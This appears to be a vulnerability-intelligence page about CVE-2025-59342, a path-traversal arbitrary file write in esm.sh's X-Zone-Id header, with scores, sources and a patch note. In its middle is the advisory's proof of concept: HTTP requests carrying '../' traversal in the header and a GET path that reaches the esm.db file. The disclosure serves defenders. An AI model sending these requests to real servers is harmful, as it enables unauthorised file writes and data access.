KEVWire

Security intelligence, with context.

Response snapshot Oct 29, 2026, 03:36 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-59342

esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location.

At a glance

Exploited
Not known
Severity
5.5 Medium (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/esm-dev/esm.sh: 136.1. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-g2h5-cvvr-7gmw (opens a new tab)

What happened

Summary

A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ..

/ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/ / instead of ~/.esmd/storage/modules/transform).

Severity: Medium

Continue reading

Component / Endpoint:

POST /transform — handling of X-Zone-Id header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411

Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

Proof of Concept (POC)

Request (attacker-supplied X-Zone-Id contains path traversal):

POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
 "filename": "example2.js",
 "lang": "js",
 "code": "console.log('hello');",
 "importMap": {
 "imports": {
 "react": "https://esm.sh/react",
 "react-dom": "https://esm.sh/react-dom"
 }
 },
 "jsxImportSource": "react",
 "target": "es2022",
 "sourceMap": "external",
 "minify": true
}

Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.

This can be trigger with another path traversal request below

GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

---

Remediation

Simply remove any .. in the X-Zone-Id header before actually process the file.

Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)

Affected package ranges reported by GitHub: github.com/esm-dev/esm.sh: <= 136

Scores and how they were measured

CVSS base severity

5.5

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-g2h5-cvvr-7gmw (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-g2h5-cvvr-7gmw, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 29). esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header (CVE-2025-59342). https://kevwire.com/record/CVE-2025-59342

MLA

"esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header (CVE-2025-59342)." KEVWire, 29 Oct. 2026, kevwire.com/record/CVE-2025-59342.

Chicago

KEVWire. "esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header (CVE-2025-59342)." Last modified October 29, 2026. https://kevwire.com/record/CVE-2025-59342.

Evidence summary (plain text)

esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header (Sep 17, 2025).
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/ / instead of ~/.esmd/storage/modules/transform).
CVSS 5.5 (version 4.0; evidence as of Oct 29, 2026; https://github.com/advisories/GHSA-g2h5-cvvr-7gmw).
Sources:
GitHub-reviewed advisory GHSA-g2h5-cvvr-7gmw: https://github.com/advisories/GHSA-g2h5-cvvr-7gmw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-59342.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 03:20 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail